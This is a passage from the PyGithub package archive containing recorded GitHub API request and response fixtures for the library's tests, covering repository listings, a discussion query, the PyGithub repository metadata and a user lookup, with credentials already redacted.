cd92849c7b4332396a4f5e4a97162","url":"https://api.github.com/users/davemerwin","html_url":"https://github.com/davemerwin","followers_url":"https://api.github.com/users/davemerwin/followers","following_url":"https://api.github.com/users/davemerwin/following{/other_user}","gists_url":"https://api.github.com/users/davemerwin/gists{/gist_id}","starred_url":"https://api.github.com/users/davemerwin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/davemerwin/subscriptions","organizations_url":"https://api.github.com/users/davemerwin/orgs","repos_url":"https://api.github.com/users/davemerwin/repos","events_url":"https://api.github.com/users/davemerwin/events{/privacy}","received_events_url":"https://api.github.com/users/davemerwin/received_events","type":"User"},"private":false,"html_url":"https://github.com/davemerwin/blue-channel","description":"A content management system developed in Django, jQuery and 960","fork":false,"url":"https://api.github.com/repos/davemerwin/blue-channel","forks_url":"https://api.github.com/repos/davemerwin/blue-channel/forks","keys_url":"https://api.github.com/repos/davemerwin/blue-channel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/davemerwin/blue-channel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/davemerwin/blue-channel/teams","hooks_url":"https://api.github.com/repos/davemerwin/blue-channel/hooks","issue_events_url":"https://api.github.com/repos/davemerwin/blue-channel/issues/events{/number}","events_url":"https://api.github.com/repos/davemerwin/blue-channel/events","assignees_url":"https://api.github.com/repos/davemerwin/blue-channel/assignees{/user}","branches_url":"https://api.github.com/repos/davemerwin/blue-channel/branches{/branch}","tags_url":"https://api.github.com/repos/davemerwin/blue-channel/tags","blobs_url":"https://api.github.com/repos/davemerwin/blue-channel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/davemerwin/blue-channel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/davemerwin/blue-channel/git/refs{/sha}","trees_url":"https://api.github.com/repos/davemerwin/blue-channel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/davemerwin/blue-channel/statuses/{sha}","languages_url":"https://api.github.com/repos/davemerwin/blue-channel/languages","stargazers_url":"https://api.github.com/repos/davemerwin/blue-channel/stargazers","contributors_url":"https://api.github.com/repos/davemerwin/blue-channel/contributors","subscribers_url":"https://api.github.com/repos/davemerwin/blue-channel/subscribers","subscription_url":"https://api.github.com/repos/davemerwin/blue-channel/subscription","commits_url":"https://api.github.com/repos/davemerwin/blue-channel/commits{/sha}","git_commits_url":"https://api.github.com/repos/davemerwin/blue-channel/git/commits{/sha}","comments_url":"https://api.github.com/repos/davemerwin/blue-channel/comments{/number}","issue_comment_url":"https://api.github.com/repos/davemerwin/blue-channel/issues/comments/{number}","contents_url":"https://api.github.com/repos/davemerwin/blue-channel/contents/{+path}","compare_url":"https://api.github.com/repos/davemerwin/blue-channel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/davemerwin/blue-channel/merges","archive_url":"https://api.github.com/repos/davemerwin/blue-channel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/davemerwin/blue-channel/downloads","issues_url":"https://api.github.com/repos/davemerwin/blue-channel/issues{/number}","pulls_url":"https://api.github.com/repos/davemerwin/blue-channel/pulls{/number}","milestones_url":"https://api.github.com/repos/davemerwin/blue-channel/milestones{/number}","notifications_url":"https://api.github.com/repos/davemerwin/blue-channel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/davemerwin/blue-channel/labels{/name}"},{"id":1615,"name":"weshowthemoney-com","full_name":"maborg/weshowthemoney-com","owner":{"login":"maborg","id":1446,"avatar_url":"https://2.gravatar.com/avatar/f86675c1ed32bf619a669a4b8bc29d2c?d=https%3A%2F%2Fidenticons.github.com%2F8fb21ee7a2207526da55a679f0332de2.png","gravatar_id":"f86675c1ed32bf619a669a4b8bc29d2c","url":"https://api.github.com/users/maborg","html_url":"https://github.com/maborg","followers_url":"https://api.github.com/users/maborg/followers","following_url":"https://api.github.com/users/maborg/following{/other_user}","gists_url":"https://api.github.com/users/maborg/gists{/gist_id}","starred_url":"https://api.github.com/users/maborg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/maborg/subscriptions","organizations_url":"https://api.github.com/users/maborg/orgs","repos_url":"https://api.github.com/users/maborg/repos","events_url":"https://api.github.com/users/maborg/events{/privacy}","received_events_url":"https://api.github.com/users/maborg/received_events","type":"User"},"private":false,"html_url":"https://github.com/maborg/weshowthemoney-com","description":"a visual approach to the us election","fork":false,"url":"https://api.github.com/repos/maborg/weshowthemoney-com","forks_url":"https://api.github.com/repos/maborg/weshowthemoney-com/forks","keys_url":"https://api.github.com/repos/maborg/weshowthemoney-com/keys{/key_id}","collaborators_url":"https://api.github.com/repos/maborg/weshowthemoney-com/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/maborg/weshowthemoney-com/teams","hooks_url":"https://api.github.com/repos/maborg/weshowthemoney-com/hooks","issue_events_url":"https://api.github.com/repos/maborg/weshowthemoney-com/issues/events{/number}","events_url":"https://api.github.com/repos/maborg/weshowthemoney-com/events","assignees_url":"https://api.github.com/repos/maborg/weshowthemoney-com/assignees{/user}","branches_url":"https://api.github.com/repos/maborg/weshowthemoney-com/branches{/branch}","tags_url":"https://api.github.com/repos/maborg/weshowthemoney-com/tags","blobs_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/refs{/sha}","trees_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/trees{/sha}","statuses_url":"https://api.github.com/repos/maborg/weshowthemoney-com/statuses/{sha}","languages_url":"https://api.github.com/repos/maborg/weshowthemoney-com/languages","stargazers_url":"https://api.github.com/repos/maborg/weshowthemoney-com/stargazers","contributors_url":"https://api.github.com/repos/maborg/weshowthemoney-com/contributors","subscribers_url":"https://api.github.com/repos/maborg/weshowthemoney-com/subscribers","subscription_url":"https://api.github.com/repos/maborg/weshowthemoney-com/subscription","commits_url":"https://api.github.com/repos/maborg/weshowthemoney-com/commits{/sha}","git_commits_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/commits{/sha}","comments_url":"https://api.github.com/repos/maborg/weshowthemoney-com/comments{/number}","issue_comment_url":"https://api.github.com/repos/maborg/weshowthemoney-com/issues/comments/{number}","contents_url":"https://api.github.com/repos/maborg/weshowthemoney-com/contents/{+path}","compare_url":"https://api.github.com/repos/maborg/weshowthemoney-com/compare/{base}...{head}","merges_url":"https://api.github.com/repos/maborg/weshowthemoney-com/merges","archive_url":"https://api.github.com/repos/maborg/weshowthemoney-com/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/maborg/weshowthemoney-com/downloads","issues_url":"https://api.github.com/repos/maborg/weshowthemoney-com/issues{/number}","pulls_url":"https://api.github.com/repos/maborg/weshowthemoney-com/pulls{/number}","milestones_url":"https://api.github.com/repos/maborg/weshowthemoney-com/milestones{/number}","notifications_url":"https://api.github.com/repos/maborg/weshowthemoney-com/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/maborg/weshowthemoney-com/labels{/name}"},{"id":1618,"name":"marshmallow","full_name":"bousquet/marshmallow","owner":{"login":"bousquet","id":1347,"avatar_url":"https://0.gravatar.com/avatar/7491ae9acee0ca6a37d078b87ec7cd7a?d=https%3A%2F%2Fidenticons.github.com%2F0e55666a4ad822e0e34299df3591d979.png","gravatar_id":"7491ae9acee0ca6a37d078b87ec7cd7a","url":"https://api.github.com/users/bousquet","html_url":"https://github.com/bousquet","followers_url":"https://api.github.com/users/bousquet/followers","following_url":"https://api.github.com/users/bousquet/following{/other_user}","gists_url":"https://api.github.com/users/bousquet/gists{/gist_id}","starred_url":"https://api.github.com/users/bousquet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bousquet/subscriptions","organizations_url":"https://api.github.com/users/bousquet/orgs","repos_url":"https://api.github.com/users/bousquet/repos","events_url":"https://api.github.com/users/bousquet/events{/privacy}","received_events_url":"https://api.github.com/users/bousquet/received_events","type":"User"},"private":false,"html_url":"https://github.com/bousquet/marshmallow","description":"Campfire chat bot in Ruby","fork":false,"url":"https://api.github.com/repos/bousquet/marshmallow","forks_url":"https://api.github.com/repos/bousquet/marshmallow/forks","keys_url":"https://api.github.com/repos/bousquet/marshmallow/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bousquet/marshmallow/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bousquet/marshmallow/teams","hooks_url":"https://api.github.com/repos/bousquet/marshmallow/hooks","issue_events_url":"https://api.github.com/repos/bousquet/marshmallow/issues/events{/number}","events_url":"https://api.github.com/repos/bousquet/marshmallow/events","assignees_url":"https://api.github.com/repos/bousquet/marshmallow/assignees{/user}","branches_url":"https://api.github.com/repos/bousquet/marshmallow/branches{/branch}","tags_url":"https://api.github.com/repos/bousquet/marshmallow/tags","blobs_url":"https://api.github.com/repos/bousquet/marshmallow/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bousquet/marshmallow/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bousquet/marshmallow/git/refs{/sha}","trees_url":"https://api.github.com/repos/bousquet/marshmallow/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bousquet/marshmallow/statuses/{sha}","languages_url":"https://api.github.com/repos/bousquet/marshmallow/languages","stargazers_url":"https://api.github.com/repos/bousquet/marshmallow/stargazers","contributors_url":"https://api.github.com/repos/bousquet/marshmallow/contributors","subscribers_url":"https://api.github.com/repos/bousquet/marshmallow/subscribers","subscription_url":"https://api.github.com/repos/bousquet/marshmallow/subscription","commits_url":"https://api.github.com/repos/bousquet/marshmallow/commits{/sha}","git_commits_url":"https://api.github.com/repos/bousquet/marshmallow/git/commits{/sha}","comments_url":"https://api.github.com/repos/bousquet/marshmallow/comments{/number}","issue_comment_url":"https://api.github.com/repos/bousquet/marshmallow/issues/comments/{number}","contents_url":"https://api.github.com/repos/bousquet/marshmallow/contents/{+path}","compare_url":"https://api.github.com/repos/bousquet/marshmallow/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bousquet/marshmallow/merges","archive_url":"https://api.github.com/repos/bousquet/marshmallow/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bousquet/marshmallow/downloads","issues_url":"https://api.github.com/repos/bousquet/marshmallow/issues{/number}","pulls_url":"https://api.github.com/repos/bousquet/marshmallow/pulls{/number}","milestones_url":"https://api.github.com/repos/bousquet/marshmallow/milestones{/number}","notifications_url":"https://api.github.com/repos/bousquet/marshmallow/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bousquet/marshmallow/labels{/name}"},{"id":1630,"name":"tarn","full_name":"jdp/tarn","owner":{"login":"jdp","id":574,"avatar_url":"https://1.gravatar.com/avatar/07b06bbb5ecda29c3744c1be35656247?d=https%3A%2F%2Fidenticons.github.com%2Ff0e52b27a7a5d6a1a87373dffa53dbe5.png","gravatar_id":"07b06bbb5ecda29c3744c1be35656247","url":"https://api.github.com/users/jdp","html_url":"https://github.com/jdp","followers_url":"https://api.github.com/users/jdp/followers","following_url":"https://api.github.com/users/jdp/following{/other_user}","gists_url":"https://api.github.com/users/jdp/gists{/gist_id}","starred_url":"https://api.github.com/users/jdp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdp/subscriptions","organizations_url":"https://api.github.com/users/jdp/orgs","repos_url":"https://api.github.com/users/jdp/repos","events_url":"https://api.github.com/users/jdp/events{/privacy}","received_events_url":"https://api.github.com/users/jdp/received_events","type":"User"},"private":false,"html_url":"https://github.com/jdp/tarn","description":"A completely Lua-scriptable roguelike engine","fork":false,"url":"https://api.github.com/repos/jdp/tarn","forks_url":"https://api.github.com/repos/jdp/tarn/forks","keys_url":"https://api.github.com/repos/jdp/tarn/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jdp/tarn/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jdp/tarn/teams","hooks_url":"https://api.github.com/repos/jdp/tarn/hooks","issue_events_url":"https://api.github.com/repos/jdp/tarn/issues/events{/number}","events_url":"https://api.github.com/repos/jdp/tarn/events","assignees_url":"https://api.github.com/repos/jdp/tarn/assignees{/user}","branches_url":"https://api.github.com/repos/jdp/tarn/branches{/branch}","tags_url":"https://api.github.com/repos/jdp/tarn/tags","blobs_url":"https://api.github.com/repos/jdp/tarn/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jdp/tarn/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jdp/tarn/git/refs{/sha}","trees_url":"https://api.github.com/repos/jdp/tarn/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jdp/tarn/statuses/{sha}","languages_url":"https://api.github.com/repos/jdp/tarn/languages","stargazers_url":"https://api.github.com/repos/jdp/tarn/stargazers","contributors_url":"https://api.github.com/repos/jdp/tarn/contributors","subscribers_url":"https://api.github.com/repos/jdp/tarn/subscribers","subscription_url":"https://api.github.com/repos/jdp/tarn/subscription","commits_url":"https://api.github.com/repos/jdp/tarn/commits{/sha}","git_commits_url":"https://api.github.com/repos/jdp/tarn/git/commits{/sha}","comments_url":"https://api.github.com/repos/jdp/tarn/comments{/number}","issue_comment_url":"https://api.github.com/repos/jdp/tarn/issues/comments/{number}","contents_url":"https://api.github.com/repos/jdp/tarn/contents/{+path}","compare_url":"https://api.github.com/repos/jdp/tarn/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jdp/tarn/merges","archive_url":"https://api.github.com/repos/jdp/tarn/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jdp/tarn/downloads","issues_url":"https://api.github.com/repos/jdp/tarn/issues{/number}","pulls_url":"https://api.github.com/repos/jdp/tarn/pulls{/number}","milestones_url":"https://api.github.com/repos/jdp/tarn/milestones{/number}","notifications_url":"https://api.github.com/repos/jdp/tarn/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jdp/tarn/labels{/name}"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetRepositoryDiscussion.txt0000644000175100001660000003461314756101563025732 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) {\n ... on Discussion {\n answer {\n author { login }\n body\n bodyHTML\n bodyText\n createdAt\n databaseId\n discussion { id }\n editor { login }\n id\n lastEditedAt\n updatedAt\n url\n }\n author { login }\n body\n bodyHTML\n bodyText\n category {\n createdAt\n description\n emoji\n emojiHTML\n id\n isAnswerable\n name\n repository { owner { login } name }\n slug\n updatedAt\n }\n comments(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n }\n }\n createdAt\n databaseId\n editor { login }\n id\n labels(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n name\n }\n }\n lastEditedAt\n number\n reactions(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n }\n }\n repository {\n owner { login }\n name\n }\n title\n updatedAt\n url\n }\n }\n }\n ", "variables": {"id": "D_kwDOADYVqs4ATJZD"}} 200 [('Date', 'Tue, 17 Sep 2024 10:38:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4900'), ('X-RateLimit-Reset', '1726571100'), ('X-RateLimit-Used', '100'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FE8:23B8E4:7E3FE1:7F58C1:66E95C0D')] {"data":{"node":{"answer":null,"author":{"login":"arunanandhan"},"body":"Is there an api way to search for a string in the current code in a repo?","bodyHTML":"

Is there an api way to search for a string in the current code in a repo?

","bodyText":"Is there an api way to search for a string in the current code in a repo?","category":{"createdAt":"2020-12-08T23:29:12Z","description":"Chat about anything and everything here","emoji":":speech_balloon:","emojiHTML":"
💬
","id":"MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYw","isAnswerable":false,"name":"General","repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"slug":"general","updatedAt":"2020-12-08T23:29:12Z"},"comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0yOVQxOTo1NzowMCswMjowMM4AU3Mg","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0yOVQxOTo1NzowMCswMjowMM4AU3Mg","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AU3Mg"}]},"createdAt":"2023-03-29T17:06:04Z","databaseId":5019203,"editor":null,"id":"D_kwDOADYVqs4ATJZD","labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"lastEditedAt":null,"number":2480,"reactions":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub"},"title":"Is there a way to search if a string present in default branch?","updatedAt":"2023-03-30T16:18:59Z","url":"https://github.com/PyGithub/PyGithub/discussions/2480"}}} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 10:46:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c8e45d1a983f482b7c91fe66326bb90a746e7a7d4592af657e9f4076fc3c4466"'), ('Last-Modified', 'Tue, 17 Sep 2024 06:27:32 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1726571099'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F3C:221185:24F04:25557:66E95DF5')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-09-17T06:27:32Z","pushed_at":"2024-09-12T10:47:45Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16092,"stargazers_count":6905,"watchers_count":6905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1762,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":341,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1762,"open_issues":341,"watchers":6905,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1762,"subscribers_count":111} https GET api.github.com None /users/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 10:46:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"465119d1ce50dcf055ebf9239f79701d2b350d57bbf6167bb01ef9090f200a35"'), ('Last-Modified', 'Wed, 08 Apr 2020 03:46:04 GMT'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1726571099'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FB4:93EBB:19600:19AC7:66E95E06')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetUserById.txt0000644000175100001660000000511614756101563023171 0ustar00runnerdockerhttps GET api.github.com None /user/583231 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 12 Sep 2020 12:26:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"2409e6c518ebe03ecde9243734f63f93"'), ('Last-Modified', 'Sun, 23 Aug 2020 14:28:27 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '59'), ('X-RateLimit-Reset', '1599917169'), ('X-RateLimit-Used', '1'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C442:11459:3E06E4D:4A2F023:5F5CBE61')] 